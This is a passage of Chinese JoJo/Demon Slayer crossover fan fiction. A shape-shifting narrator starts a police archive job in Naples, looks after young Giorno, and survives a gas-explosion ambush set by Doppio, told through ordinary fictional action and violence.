我叹了口气,看见旁边冰淇淋店门窗上的招聘公告,我的手不由自主地伸向了玻璃门,正准备推门而入具体问问薪资待遇,我的理智就回笼了。
不对!我现在似乎已经有工作了。而且似乎是两份。
我收回手,趁着店主还没看过来,果断转身就走。
不过没想到工作还能自动送上门啊。我忍不住又打开了文件袋,偷偷往里面瞄了一眼--很好,证件还在。
我舒了口气,想了想,闪进一个小巷子,将关键的证件拿出来,拉开外套拉链,小心地放入外套的内口袋。
要不是担心有的证明折叠会受影响,我都恨不得把所有东西都贴身放着,这样才安心。
毕竟,这可是份有编制的工作呢!
我再拿出入职报告,轻柔地展开它,看了又看,满意地不得了。我的视线停留在纸上的“档案员”,再恋恋不舍地将它放回去。
嘿嘿。
我试图下压自己的嘴角,但是发自内心的喜悦是很难掩饰的。真好,开局就能被送一个有编制的闲职,我已经开始相信自己时来运转了。
我今天会对所有人都有好脸色的。
我走出巷子,就看见巷口站着一个看起来有些踟蹰的粉发少年。
他一手拿着一张旅游观光的地图,一手摸着自己的脑袋,还时不时抬起头望着四周,嘴里喃喃,“奇怪,这到底是哪里啊?”
嘶,虽然我是打算对所有人都有好脸色,但是那不勒斯我还是没逛熟,面对迷路的游客了话我还是有些苦手啊。
我对这个粉发少年礼貌一笑,正打算趁他没反应过来,拔腿就跑,但是那个粉发少年反应出奇的快。
“不好意思,请问斯帕卡纳波利怎么走呢?”他一把抓住了我的小臂,颇有些困惑地指了指地图上的某个位置。
我回头看了看抓住我胳膊的手,有些疑惑。抓着我的力道不是很大,但是那个动作快得惊人。
奇怪,这是普通人的速度吗?
难道是替身使者吗?
他的身上有一种极淡的特殊气味,似乎是汽油或者之类的化工产品。
我捏紧了自己的文件袋,往靠近自己的方向放了放,然后看向一派天真的那个粉发少年,“哎,这个嘛,我也不清楚呢?要不要问一下附近商铺的人呢?”
粉发少年挠了挠脸,发出一声苦笑。“因为我很担心进去就要买东西,你知道的,有时候就会有这样的情况。”他的脸上有一些小雀斑,这样使他看起来多了一分稚气。
说完,他似乎也感觉有些不好意思,“不过我还以为女士你是当地人,所以我才问你,真是不好意思”,他看了看我另一手提的打包的菜品,眼里有些疑惑,又看看我。
这样子的举动会让然忍不住解释,然后透露出自己的信息,例如自己其实不是本地人,大概是什么时候来到这里的。
所谓攀谈,大概如此。
但是,我看着他盯着我打包的菜品,内心第一反应的是警惕。
这家伙,不会像顺势说自己很饿然后问能不能分享吧。拜托,他看起来都是青壮年了难道还要靠搭讪蹭饭吗?
“哦,没事。”我将另一手的菜品也靠近自己,甩下这句话便快速离开,没看见身后粉发少年脸色骤变。
他的眼睛完全不复刚刚那一派纯正,变得阴郁老沉起来。
*
老实说,有人盯上了我打包的饭菜的这点让我意识到拎着东西乱晃确实不太妙。
不过我拎着这些的原因只是没有落脚的地方而已,昨晚住的旅店也就定了一天的时间,说起来,也不是长久之计。
要不,还是短租一套房吧。
于是乎,经过来回拉扯的谈判,我在下午就用了还算公道的价格租下了一间在带有厨房和卫生间的两室一厅的公寓。虽然离我即将工作的警局不近,但考虑到性价比,我还是爽快签下了合约并且立马整理入住。
说是整理入住,其实我也没有什么东西。我去买了些乔鲁诺这个年纪可能需要的衣服、一些日常用品,放到公寓里后,就火速赶往乔鲁诺在的学校。
我正好赶上了放学前的一分钟到了校门口,看着随着铃声一群欢天喜地的学生冲出了校园。
乔鲁诺远远跟在人群后面,他像是与那群孩子有着天然的屏障一样,一个人在校门口缓缓站定。那些学生冲向各自的父母,或者抱着手撒娇,或是分享学校的趣事。
乔鲁诺掂起脚,环顾四周,似乎在找着什么。
“诶,臭虫乔鲁诺,你还在这里干嘛?”一个棕发的小男孩从小跟班环绕中走出,环抱着手,笑着向乔鲁诺靠近,正打算一脚踹过去。
乔鲁诺侧身躲过,但是那群识眼色的跟班们早就在他的退路那里埋伏着,一双双手正向他推过来。一群人带着恶意的笑将乔鲁诺围了起来,像是一堵散发着臭气的人墙,挡住了他向外看的视线。
...这样子就看不见她了!这样子她会不会就直接走了呢?
这个想法让乔鲁诺的心脏像是被一双手紧紧捏住,整个人变得难受起来。他定了定神,盯着人墙中的缝隙,眼中闪过一丝果决。
乔鲁诺将手臂抱在头上,微弓身子,试图趁着他们不注意一鼓作气冲出去,身前却传来了熟悉的声音。
“哎呀,乔鲁诺,你在这里
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呀。”
女人的声音带着笑意,叫乔鲁诺眼前一亮。
这个一亮也是物理意义上的一亮。
眼前的人墙不知道什么时候倒下,他们睁着眼,像是叠罗汉一样堆叠成一圈,像是没意识到发生了什么。
在圈外的女人一脸无辜,她手上拿着一只冰淇淋,散发着甜香的双球被放在漂亮的圆筒形蛋筒中,显得格外诱人。
她像是完全看不到一群堆叠着的人似的,将冰淇淋向前递去,就对着乔鲁诺招手,“乔鲁诺,我们回家吧。”
乔鲁诺点点头,直接一脚踩上了那群堆叠的人,他没接过冰淇淋,而是先牵住了女人的手,跟着她向前走去。
趁着女人不注意,乔鲁诺悄悄将之前放在女人口袋里的东西又放回去了,然后才接过了冰淇淋。
“回家。”乔鲁诺小声地重复着。
他的声音不大,但不需要担心不被听见。
女人点了点头,牵着他的手向前走去,老实向他介绍起了“家”,“那是个采光不错的公寓哦,里面还有……”
*
本着夜长梦多的考量,第二天,送完乔鲁诺上学后,我就去警局报道了。
入职出乎意料地顺利,我按着身份证件上的名字“露娜”直接来到了档案室报到。
不过一进办公室,我就知道我来对地方了。这个点了,办公室里也只是稀稀拉拉地有几个人,见我进来,他们从咖啡机旁散开,打了个招呼。
“是新来的露娜啊……”有个看起来级别高一些的头顶地中海是男人笑着招呼着我过来。
“唔,仔细一看感觉和证件上的样子有点不一样啊……”他眯了眯眼,慢吞吞地说着。
唔。原来还需要我变形一下吗?
还没等我说着什么,他又自己给自己解释好了,“是因为证件照拍太早的缘故吧,这样了话最近有空记得去重新处理一下证件,虽然不是一件大事,但是还是得注意啊。”
他边说,边从桌上拿起了一张报纸看了起来。宽大的报纸遮住了他的表情,我抬头看着对着我的那面——比安奇遭遇意外车祸,车毁人亡
比安奇,那不是我昨天才认是所谓“上司”吗?
我看着报纸上那张黑白照片,不由陷入了沉默。
“咳咳。”伴随着一声咳嗽,报纸震了震,向下移动。地中海的发型和一双意味深长的眼一起露出来。
“露娜,你先去你的位置上报道吧。”随着他这么说,我来到了自己的工位上。这个位置不在原先的办公室,而是在最靠近档案室一旁的小房间里,据说是单独的工位。
这也太适合摸鱼了!
我强压着上扬的嘴角,准备拿着钥匙打开了门。
只是,就在这时,被上锁的房间里却传来几不可闻的呼吸声。
90.档案室
刚入职就要遇到这种事吗?
我放轻了脚步,缓缓向门那里继续靠近。
老实说,我可是一点也不想管麻烦事。既然昨天那位“上司”遭遇不幸猝然长逝,我也只能在心里为他哀悼一秒然后在这个岗位上好好养老了。
至于他之前提到的任务?一看就很危险的事情我干嘛要做,现在又没有额外报酬。我就把现在这个身份、工作当做自己被坑而收取的赔偿好啦。
有钱有闲的关系户岗位,已经嗝屁的实际上司,还有什么比这更适合摸鱼的岗位吗?我想不到。
或许真是时来运转呢?说不定这就是我丢失多年的事业运回来了,我会好好珍惜的。
在这里边干边联系乔瑟夫先生他们,然后一边调查自己的穿越之谜,太妙了,一鱼三吃,不愧是我!
我喜滋滋地想着,要不是还记得里面有人在,我恐怕就要笑出声了。
不管现在也不是高兴的时候,看起来这份工作还有不小的隐形陷阱--比如,里面的小老鼠。
我能保证自己过来的脚步很轻,里面的人应该没听见才对。如果里面的人保持着静止不动,要么就是刚潜入档案室,要么就是有着绝佳的戒备心,时不时要警惕四周。
不管是哪一种,都还挺麻烦的啊。
毕竟我才刚入职,这个人肯定不是跑来暗杀我这个小喽喽所以潜入档案室的。那么,就应该是前任留下的烂摊子了。
我捏着钥匙,就静静地站在门口,想看看里面的人究竟想做什么。
过了一分半,里面的人似乎终于确定外面没人了,开始行动了起来。特意放轻的脚步渐渐挪远,随即是窸窸窣窣的声音,大抵是找什么档案吧。
还行,应该是动作比较细致的样子,没有弄乱档案。
不过里面的人想找什么呢?不会是我的前“上司”不放心,还外包了工作让别人来吗?
我在门口发着呆,没打算做什么。这里的水看起来挺深的,就我这和证件上长得几乎两模两样的人都能被塞进来,我也拿捏不准档案室里的人是否也是什么派系派来的家伙。
总的来说,对于现在已经没有“组织”的我,最应该干的事就是明哲保身。
不过不知道里面的人什么时候完事啊,我捏着钥匙,却听见拐角的走廊传来的皮鞋踏在地上的“啪嗒”声。
哎呀,偏偏在这时候吗?
我听见档案室里面的动作停下,又恢复成了几不可闻的呼吸声。
我叹了口气,掂着步子快速移动到远处,装作还没走到档案室的样子。
“露娜,原来你还在这里啊?”一个棕发的女士看见我,露出了一个惊喜的笑。她是刚刚在办公室里见到的人之一。
“因为刚刚去上了个厕所,所以动作慢了点。”我回想刚刚看见的女士工牌上的名字,笑着回答,“艾米丽小姐,是科长还有什么指导吗?”
“唔,露娜你知道我名字,真高兴。”艾米丽的像蜜糖般的棕色眼眸流露出笑意,她又朝我靠近一步,小声吐槽,“其实我们档案科没有那么多活啦,科长的意思是大家中午可以去聚餐一下啦,露娜你会来吧?”
聚餐吗?虽然不讨厌但是......
像是为了要自己的邀约增加筹码,艾米丽又接着补充,“是科长请客的哦!超级难得。”
好了,现在没有理由不去了。
我应下邀约,艾米丽本还想带着我走进档案室,但被我婉拒了。
“那我先去熟悉工作了,艾米丽小姐,聚餐的时候见!” 我站在了档案室的门口,对着艾米丽挥手。棕发的美人笑着对我摆摆手。
在艾米丽的视线下,我将档案室的钥匙插进锁孔里,轻轻转动。
门开了,至少在视野中,没有人。
我摆手,向艾米丽示意再见,转身关上了门。
房间里一片安静,但我还是忍不住在心里叹了口气。
虽然呼吸声已经被压低了,但是人的气息是不会的。我能感觉到,那人还在这间房间里。
档案室不小,高高的铁柜子约莫有几十个。无数的档案被装在其中,就像是
我看了看档案室,果然,四周没有窗户。
怪不得已经在门口做出了挺大的动静,还不先溜走。
我叹了口气,棒读一句,“哎呀,昨天那家餐厅的菜果然不新鲜,又得跑一趟厕所了。”
这么说着,我将门带上,拿着钥匙先走了。
在厕所无所事事呆地将数字数到300后,我才转身回到档案室。
现在这里除了我以外,确实空无一人了。
我绕着几个档案柜转了几圈,果然,档案依旧是按照编号排列的,没有什么弄乱的痕迹。
只不过,如果想要完全不留下痕迹也是很难的。
我回想着自己当初感受的气息,向左边走了几步,来到了靠左边第二排第三个的柜子前。
这边似乎是和交通事故有关的档案啊。
我抬头,看向了最高层的某个档案。这份档案袋在外表上看不出和其他档案袋存在什么区别,但是,它的角度似乎有些微妙的偏差。
我踮了踮脚,拿出了这份让我有些在意的档案,外壳的案件状态中显示的是已结案。
唔,一份已结案的交通肇事岸也能被这么在意吗?
好奇心害死猫啊,还是谨慎一点吧。
我想了想,又将档案袋推了回去,回到桌子上开始摸鱼。
唔,拿个折纸来折个小青蛙吧。
*
好不容易捱到了free的午餐,我终于打起了精神,开始努力干饭。
“露娜,你胃口真好!”艾米丽笑嘻嘻地凑在我身旁,拿着一个布丁过来,“这个布丁你吃吗?”
“谢谢。”我接过布丁,拿起勺子舀了一勺,心满意足地放入嘴中。
好吃!
艾米丽笑了笑,“露娜,在档案室工作的感觉怎么样啊?是不是超清闲。”
“挺好的,感觉大家都是好人呢!”我回以老实一笑,继续干饭。
但是这样精简过于精简,艾米丽噎了一下,只是笑了一声算作回应。
“不过啊,露娜你也要注意一件事,不知道科长有没有和你说过,最近有人会来警局里闹,可烦人了。”艾米丽煞有介事地晃了晃脑袋,苦着一张漂亮的脸看着我。
“哦,没听说。这个意面好好吃,艾米
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丽小姐你不来一点吗?”我看了看艾米丽,但是艾米丽似乎对于意大利面没有兴趣,很快地皱了一下眉,又继续接着说下去了。
“你竟然没听说吗?这件事之前闹得可大了.....”
“不知道,但是感觉这个意面真的好好吃,我能让科长再点一份吗?”
艾米丽的脸沉了下来,眼神快速地扫视过我,等我看回去的时候,她的脸上又挂上了笑,但是笑容明显淡了很多。
“露娜你还真是喜欢吃呢,不过别的事情也得关注吧。因为这件事好像跟档案室有关,那个来闹的人总是说怀疑我们的笔录和证据有问题呢。”
看没推销出去意大利面,我只好继续低头吃饭,任艾米丽继续说着。
但是独角戏是很难继续下去的,看见科长正往这边走来,艾米丽收住了话匣子,笑盈盈地跟着科长打招呼。
“科长,再给露娜点一份意大利面吧,感觉她很喜欢呢~”
“哦?当然可以。不过艾米丽你在和露娜聊什么呢,感觉聊得挺开心的呀,能让我也加入吗?”科长顶着一个地中海的造型,面上慈眉善目的样子,笑着和艾米丽搭话。
“讨厌啦,那是女生的话题,可不适合和科长谈啦~”艾米丽摆摆手,又看向我,“对吧,露娜。”
科长的视线也移到我头上,我顶着两道略有些灼人的视线,只是举起了空空的盘子,“不好意思啊科长和艾米丽,你们刚刚说什么来着,这家餐厅的菜真不错,我一直埋头吃都没留意大家的话,我错过了什么吗?”
艾米丽咬了咬牙,旋即又是笑笑,“唉?我刚刚还想在和你谈心仪的男人的类型,你居然一点都没听进去,真是的。亏我还是带着布丁来的。”
说完这句话,艾米丽撇了撇嘴,佯装生气,抱着手就走了。
科长看了一眼艾米丽离去的声音,留在了原地,“露娜,你刚刚真的什么都没听见吗?”
“咦?难道没听见大家的话就不能加餐吗?”我有些苦恼地放下叉子。
科长的表情变得有些微妙,他半眯着眼,最终叹了口气,“除了意大利面还要什么吗?”
“我再要个牛排应该不算太贪心吧?”
“......”
装傻是门技术活,虽然吃到了很丰盛的一顿饭,但是精力憔悴,这恐怕也是这份稳定的工作的一些小小负面影响吧。
带着上班摸鱼折的小青蛙,我走出警局,向着乔鲁诺学校的方向前进。
要不要再去给乔鲁诺带个冰淇淋呢,感觉他挺喜欢的。那个薄荷巧克力口味也不错,我想尝。
“老板,来两个冰淇淋,一个要香草和巧克力双球的,另一个要薄荷巧克力的。”
“好,一共五千里拉。”
我真打算将钱递过去,一个手却比我更快向前伸去。
“五千里拉。”那道低沉的男音从我身后传出,我回头看去。
那是一个高大的银发男人,他带着一顶黑色的帽子,帽子压着他的头发,遮住了额头。他正低着头看着我。
我微微愣了愣神,因为那双眼睛很特别。
黑色的巩膜,红色的虹膜。
咦?难道是那什么血轮眼?
91.跟踪
老实说,奇特的眼睛我看的也不少,虽然眼前这位高大的陌生男子的黑色巩膜的眼睛比较少见,因此我只是多看了两眼就收回视线了。
就连我自己之前也因为成为“上弦”拥有了被刻字的银色眼睛。
啧,这么一想果然又觉得不爽了,下次干坏事还是得继续顶着无惨的那张脸才好。
我不再盯着那双奇特的眼,只是目光落在这个男人的脸上,张了张嘴,不知道该说什么。
银发男人似乎是习惯了别人的打量,他和我对上了视线后仍然一句话没说,只是点了点头算是打招呼,然后继续将五千里拉递给老板。
这人看起来不太爱笑,一直抿着嘴。身高大约195以上,靠近时还有些压迫感。头发并不算长,应该只是短发,但是额头前的刘海被帽子压下,遮住了大半额头,这样子了话,只要不特意看,甚至不会注意到他那双奇特的眼睛。
但总的来说,这人,我应该完全没见过才是。
唔。那他为什么要替我给五千里拉,还是说只是想插队?
奇怪。
乔鲁诺见我收回视线,想了想,移动了个方向,抓着我的衣角站在了我和那个高大的男人中间。
“是小哥你付钱吗?”冰淇淋店的老板是不会拒绝到手的钱的,他一把攥过了钱,将其放好,没等对面那个陌生的男人回答,就开始挖冰淇淋了。
所以这个陌生人是要请客吗?
这是什么文化差异吗?难道会随机抽路人请客?所以当初那个粉发青年找我问路的潜台词是让我分菜给他吗?
我有些二丈摸不着头脑,但是我不是很想欠一个陌生人的人情。
我再递给了冰淇淋店老板一些钱,回头叫人。
“...这位先生。”我叫住了转身就走的银发男人,他转过身,依旧不说话,只是定定看着我。
他的步子很快,如果不是被叫住,似乎下一刻就要消失在视线中了。
我想了想,拿起了老板已经做好的薄荷巧克力冰淇淋,向他走过去。
稀碎的黑巧点缀在薄荷绿的冰淇淋中,散发着清爽的气息,上面还点缀着一些开心果碎,五个球的薄巧冰淇淋看起来就像一个带着小小果实的小松树。
“感谢你的慷慨。”我在他面前站定,将这个加钱升级的plus版薄荷巧克力冰淇淋递递过去。“既然路过了,不妨尝一尝这个新口味吧。”
也许是五球的缘故,纸制的冰淇淋盒显得有些薄,丝丝寒气从纸壁上渗透出来。
银发青年用那双红色的眸子看了我两眼,走近了两步,然后接过了冰淇淋。
“谢谢。”他低头道谢,声音有些低沉,眼神探向我的背后,又快速收回,只留下一声近乎无声的提醒。
“小心,有人跟踪你。”
...
我点点头,看着他拿着冰淇淋快速向前走去,以着不符合他体型的轻快脚步消失在人群中件。
我回忆起了档案室内潜伏的身影,福至心灵。
原来是他。
居然还是热心肠的人吗?会跑来特意提醒我有人跟踪。
如果没曾经察觉到他在档案室里翻找东西了话,我恐怕只会将他当作一个一般路过好心人吧。
虽然现在作为一般特意路过好心人了话差别也不大。
不过跟踪啊。
我转头回去,现在正是那不勒斯的傍晚,太阳还没彻底落下去,天边是绚烂的橘色,有游客拿着相机记录着美妙的夕阳。街边的小餐馆的露天座位上已经有不少人坐着了。
这人要是一一排查起来可是挺费劲的。
虽然我确实感觉到有人在跟踪我,但是这种感觉若有如无的。对方远远像是个小尾巴一样缀着,一直混入人群之中,都让我怀疑是自己的错觉。
不过那个陌生人的眼力还真不错,这也能发现。
我咂咂嘴,视线从远方收回。
乔鲁诺正迈着小步子向我小跑过来。他虽然是小跑,但是走得很稳当,左右手各拿一支冰淇淋,几步路过来冰淇淋上的杏仁碎也没有洒下来。
“他说了什么?”乔鲁诺将两支冰淇淋都向前伸来,示意我先选。
我蹲下身,拿走了薄荷巧克力的那只。
乔鲁诺拿着自己的那只,又将空着的手贴近我。我顺势牵着,一边走一边回答。
“嗯,他说是因为乔鲁诺所以请了我们冰淇淋,然后对我们给他冰淇淋说了谢谢。”
“我们。”乔鲁诺轻轻重复了一遍,咬了一口冰淇淋。
冰淇淋很甜,不过冰冰的口感让他的头脑清醒了一下,五岁的孩子犹豫了一下,还是问出了话中的漏洞,“为什么是因为我?”
“唔,我想可能因为是乔鲁诺是个好孩子吧。如果是我看到乔鲁诺这样的小孩也会忍不住请他吃点东西的哦。”我庄重地胡扯着。
不过乔鲁诺似乎很少被正向鼓励,这样的话让他有些不好意思,他“哦”了一声又低头继续吃着冰淇淋。
我余光看过去时,他的耳朵还有一点红。
唔,不管怎么说,我果然还是看不出他的父亲是dio。
我看着目前明显往着好孩子方向发展的乔鲁诺,内心轻舒一口气。
不管怎么说,这
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孩子应该不至于会走上dio的路子吧。
不过说起来,跟踪我的家伙究竟是谁呢?这样的不安分因素果然还是得尽快处理。
毕竟听说孩子的好的成长环境得至少有安全感吧。
我稍稍活动了一下手关节,略微有些烦恼--在这样充满黑.帮的的社会里真的能长好吗?
*
晚上好不容易等到乔鲁诺睡着,我轻声轻脚地出去了。
怎么说呢?感觉跟踪的人水平忽高忽低的,尤其是晚上的时候,我都觉得到了我不能容忍的地步了。
对面的公寓里,灯还在亮着。百叶窗微微倾斜的扇叶中透出着橘色的微光,其中两片扇叶中还夹着一个闪着光的东西。
这可是偷窥啊。真是没品。
我站在这栋楼的顶楼,吹着夜风,眯着眼睛,看向对面。
好大的手笔啊,为了监视我还要租下对面的房子,我究竟有哪里值得他们这么大费周章呢?
现在比安奇已死,不管是意外还是其他组织的报复应该都跟我没关系才对。我在这个组织里应该也没什么作用,上级已死,也没有什么人来接头接洽的意思。
我这样的小喽喽也要盯着了话,要么是对方财大气粗或者闲得没事,要么就是我之前被比安奇派遣的任务确实太过惹眼。
即使是一个明显的靶子也不想放过。
难道觉得比安奇的死亡的震慑作用不够,还是我所在的位置确实可能存在能威胁到那位passione的boss呢?
我摸了摸下巴,一时间想不出来。
我的好奇心一般不高,一看就很麻烦的事是不会去做的。
我只是想安安稳稳找个闲职混日子然后联系到乔斯达先生他们而已,这样朴素的愿望也不算过分吧……
我叹口气,用着指腹按摩着脸。
在夜风中,我的头发变短,成了海藻般蜷曲的黑色及肩的头发,皮肤变得苍白,像是八百天没晒过太阳了。
我低头看向自己变得尖利的指甲,不由点点头。
现在我的伪装细节也很到位,拿鬼舞辻无惨的样子去探查情报,绝对不会有人联想到我头上。变形术,实乃出行打劫之利器。
只是还没等我跳下楼去给对面来个夜访吸血鬼,对面百叶窗的缝隙中灯光全然消失。
一股似有似无的血腥味出现在我鼻尖。
绝对出事了。
我屏住了呼吸,下意识往后退了一步。
一颗子弹直击我刚刚在的地方。
百叶扇的扇叶越发倾斜,那个望远镜向上望着,一只眼直直盯着顶楼。
92.火灾
真是凶险。
我继续后撤几步,转而变成了一只黑猫,下了一层跳到了楼道口的窗户里。
楼道里的窗户不大,只是用来调节采光和通风用的。
从这里看过去,此时对面的百叶窗已经完全合上,原本贴着窗户的望远镜也已经收了起来。
啧。
真是会隐藏啊。
看起来我在顶楼的时候已经被发现了。恐怕对方会来追踪。
对面的公寓里,怕是除了那人就没有活口了。
不过说到隐藏了话我也不会输的。
就像空气一样就好了。我调整了一下自己的状态,继续以猫的身姿向前慢慢踱步。
至少得让我看看发生了什么。
我轻手轻脚地跳下窗,
……
粉发少年站在百叶窗前,收了枪,眼神冷酷。
“嘟噜噜噜噜!”
“啊!一定是boss的电话。”少年小声嘟囔着,一手抓着自己的头发,从窗户边走开,在整个房间里到处寻找。
“电话,该死,电话去哪里了呢?boss现在打过来一定是紧急的信息才是。”
“嘟噜噜噜噜。”
“啊,原来电话掉在这里了吗?”少年趴到了沙发上,狠狠拽出了了什么,放在耳边。
“boss!是我,托比欧。我已经完成任务了,这些盯着那个女人的虫子已经被我搞定了。”粉发少年说着,小雀斑在脸上随着自己微笑的表情跃动着,和一室的血腥完全不匹配。如果单看他的表情,甚至会怀疑他是个在和老师汇报的高中生。
“托比欧,做的不错。但是,你已经被发现了。”
“诶?boss,你说是对面吗?我还以为是错觉来着。”多比欧眼神立马变得凛冽了起来,正在准备往窗户旁靠,却被立马叫住。
“不可以过去!那个人行踪莫测,你现在已经跟丢了就没必要再去追。反正你也没有被看到。”
“这样啊,好的boss!那我现在应该做什么呢?那人难道也是替身使者吗?我是躲着他还是要怎么样呢?boss!”多比欧的手指反复摩挲着自己的枪,咬了咬下唇。boss说不能过去的话是那么严厉,几乎让他吓了一跳。
如果那人真的在了话,过来这栋公寓恐怕只要五分钟左右。
难道追过来的人是很难缠的对手吗?他一个人能完成boss的任务吗?
“托比欧,托比欧,冷静下来!你是我最信任的下属,不要因为小事而慌张。接下来听我指挥。”
托比欧舒了一口气。只要有boss指挥就好,他一定能完成任务。“好的,boss!”
“那些重要的资料你已经带走了吗?”
“是的,boss!”托比欧摸着腰间带着血迹的手机,将几张照片贴身放着。
“很好,托比欧,我接下来会把【墓志铭】交给你,你来通过它观察数十秒后的未来。来,托比欧,告诉我你现在看见了什么。”
这话一结束,托比欧的前额就冒出了一个红色的肿块。如果细看,会发现那红色肿块上还有着一张扭曲的脸。
这已经不是第一次在boss的指挥下作战了,托比欧早已明白[墓志铭]的使用方法。
较长的粉色刘海垂落在一侧,托比欧将视线移至头发的内侧,那里,只有他能看见的未来的影像正在播放。
先是房门突然被踢开,而后是一阵火光,浓烟滚滚的房间里,托比欧看见了自己燃烧的衣服。
“...boss!我看见了[未来],房间开了,我被烧着了!”[未来]画面中的火焰似乎已经灼烧到了托比欧的身上,他差点克制不住惊叫出声。
“你看见人了吗?”
“没有,boss,就像是莫名其妙就着火了一样!难道追过来的人是使用火的替身使者吗?我会被烧死吗?boss!”托比欧眼睛死死盯着现在紧闭的大门,抓起了枪狠狠对着门,额头上滑落了大颗的汗珠。
“哈!别紧张,托比欧,你别担心,如果[未来]是这样了话,胜利在我们这里。”
boss怎么还笑出来,完了,他完全不理解。
托比欧咬了咬牙,剧烈跳动的心脏让他觉得自己的头脑都要爆炸了。
“稳住,我亲爱的托比欧,继续坚持,你可是我最信赖的下属。快按我说的做。”
这句话奇异地给了粉发的少年强大的力量,他深吸一口气,强压住自己内心的恐惧。
“boss,我会照做的。”
“带着一个尸·体,快点去打开厨房的瓦斯。”
托比欧踏过了地上散落的人,直奔厨房,松开燃气灶的气管接头。
“boss,已经打开了。”
“门要开了吗?”
托比欧侧身,小心像厨房外看去,“还没有,按照墓志铭的[未来],差不多还有3秒钟。但是我在未来里看不见那个人!”
“哦,没事,托比欧,你要知道你的方向并不在那里。3秒过后,将枪对准瓦斯。”
“是。”
托比欧已经开始明白boss的想法了。他想了想,将塑胶软管装在了水龙头上,并将软管的底部放在电水壶插头附近。
做完这一切,他绷紧着肌肉,焦急等待着下一步行动。
“把握好时间,托比欧,3--2--1!”
随着外面一声巨响,托比欧按下了扳机。
*
我踢开了房门,人闪身躲在死角里。
潜意识里我总感觉有些危险,让我抗拒着向前进。
下一秒,巨响的爆炸声传来,传来了玻璃破碎的声音。高温的火舌烘烤着楼道里的我,滚滚烟雾令人发呛。
可恶,这样子完全是为了毁尸灭迹,恐怕下一步就要跑了。
我咬了咬牙,变身成无惨的样子,准备上前一探究竟。
至少趁着火还小的时候,找到点什么遗留的线索。如果完全不知道,放任这样的危险在身边,以后睡觉时候也别想安稳了。
可是没等我进门,一个胸口浸满鲜血的躯体就向我倒来。而他的嘴里,还被塞着什么。
是炸药!
【THE WORLD!】时间停止!
没想到会在这种情况下叫出世界。我喘了口气,看着骤然停止的场景。
那个造成这一切的罪魁祸首应该已经逃跑了。我要做的是在有限的时间里找到线索。
我再看了一眼即将倒下的躯体,叹了口气。
这个是完全没救了。
绕过他,我看清了房间里的场景--这简
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直是一片混乱。
两个穿着休闲服的人倒在地上,看起来都是从背后中枪直接死亡的,连枪都还没来得及拔。其中一个人或许是有双枪的,但是现在身边只剩下一把没有了子弹的枪。恐怕袭击我的人是夺走了他的枪。
我翻了翻这两人的衣服,像是为了避嫌一样,里面没有什么特殊的标记。
从装备来看就是一副黑.帮的样子,只是身上没有更多的线索能挖掘。而且全都被灭口了,这样没法判断归属还是有点麻烦。
我叹了口气,有些后悔自己来晚了。虽然我知道自己是活靶子,但没想到靠近我的人都还会被杀死。
不过这样更加验证了我之前的猜测--这应该是passione对于其他黑·帮的无声震慑,任何试图打探boss情报信息的人都会死亡。
房间里零散摆着一些吃剩的披萨,桌子上似乎原本摆着什么,还有着曲别针和文件袋,但现在一翻已经什么都没了。
厨房里已经充满了火焰,从空气中的气味上来看恐怕也有瓦斯泄露的缘故。只是现在,就算时间暂停,我也没法进去关燃气闸门。而看现在的火势,再叠加开门杀里那个人口中的炸药,火势恐怕还会更大。
这一做局真是天衣无缝。
如果没有【THE world】,就算以我的身手,即使不死也得受重伤。而且即使是现在,面对他破窗逃跑,因为火势的拦截,我还不能直接追上去。
真是可恶。
而且火灾再叠加瓦斯泄露,再这么下去不止是房间里的这些死尸,恐怕周遭的人也会受影响。
在夜间制造出火灾,那明显是不管周围人死活啊。
我最终只能找到电源,直接拉下电闸,避免可能还会引发的电气火灾。
这些楼道的消防措施简直完全不合格,根本没有配备灭火器。
时间差不多了。
我退出了楼道,站在了这幢公寓的后门处,预估着距离,解除了【the world】。
时间开始流动吧。
下一步就去打个火警电话吧。
我还没来得及叹口气,就感觉一阵异样。
我眨了眨眼,看着尽早咫尺的电话亭,陷入了沉默。
我,什么时候过来的?
*
“好啦,伊奇,安静点。”波鲁那雷夫一手按着伊奇的头,一手回着消息—“好”。
伊奇嘴里叼着一张照片,里面正正好是几张箭的图像。
这其中的几支尤其眼熟。其中一支就是和李一起消失的那个。
伊奇放下了照片,拿着自己的爪子拍了拍照片。
波鲁那雷夫回完了消息,低着头看着照片,目光里也有些怀念。
“好啦,线索已经来了。听说之前挖出箭的家伙就在这里,线人打算后天和我们接头。”
波鲁那鲁夫拆开了一包咖啡味口香糖放在床头,伊奇却不急着接过,只是嘴里发出点咕噜声。
“李那家伙,真是一声不响就消失了两年。我们世界各地到处跑都没遇见她呢—哎呀伊奇你别撞我了!”
波鲁那雷夫揉了揉腰,忽然嘿嘿一笑,“不过没关系,线索已经有了,说不定我们就能先找到她呢!”
“让我看看约的地点,唔,也是在那不勒斯,省事!”
93.[加更]待修改
--还需要修改,请等等--
看着手机上快速的信息回复,托比欧笑了笑,拍了拍自己身上沾到的灰。
boss的判断果然是正确的。
虽然他的身上着火了,但根本无伤大雅。跳窗离开后地上一滚就熄灭了。
他成功撤离了,而且火灾带来的浓烟也能隐蔽他的身姿。
倒是那个还敢追到门口的家伙,恐怕现在已经葬身火海了吧。
有boss发动的替身能力,那个敢追击过来的人绝对活不下来,就算苟活下来这辈子也一定没法再正常行动了。
托比欧掏出了怀里的照片,看着上面形状奇怪的弓箭,歪了歪头。
“托比欧,烧掉它。”
“是,boss!”托比欧拿出打火机,橙色的火舌亲吻着相片,将它蚕食殆尽。
打开水龙头,看着照片的灰烬完全消失在视线中,托比欧舒了一口气。
远处传来接二连三的爆炸声,想必是瓦斯引起的二次爆炸。
只是可惜时间不够,室内的瓦斯含量比较少,否则可就不止这点效果了。
托比欧有些遗憾地拿出了望远镜,蹲在角落里查看远处的情况。
那件公寓对着的那栋楼的第二层的窗户打开了,一个黑发女人探出头来,神色显得有些紧张。
是那个boss说的诱饵啊。看起来还是比普通人机灵一些嘛。不过仅仅是这点机灵也坏不了事。
托比欧的手指摩挲着望远镜的边缘,露出了满意的表情。
“托比欧,这回你做的很不错。已经没有人在追过来了吧。”
“是的,boss!没有人继续跟着我,那个尾巴估计已经困在火海里了。之前您说的那个女人先醒了,好像发现了异常,现在估计要去报火警,要处理掉她吗?”托比欧透过望远镜,看见了女人惊慌失措地关掉了窗户,随后便消失在了视线中。
“没必要做出那么大的动作,接触越多的人会留下越多的破绽,你应该更加小心谨慎才是。现在那个女人还是诱饵,先动她了话恐怕组织里那些有异心的家伙就要吓破了胆子,不敢上钩了。”
“boss,您说的是。”托比欧乖顺地点了点头
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,接着问道,“那就放着吗?”
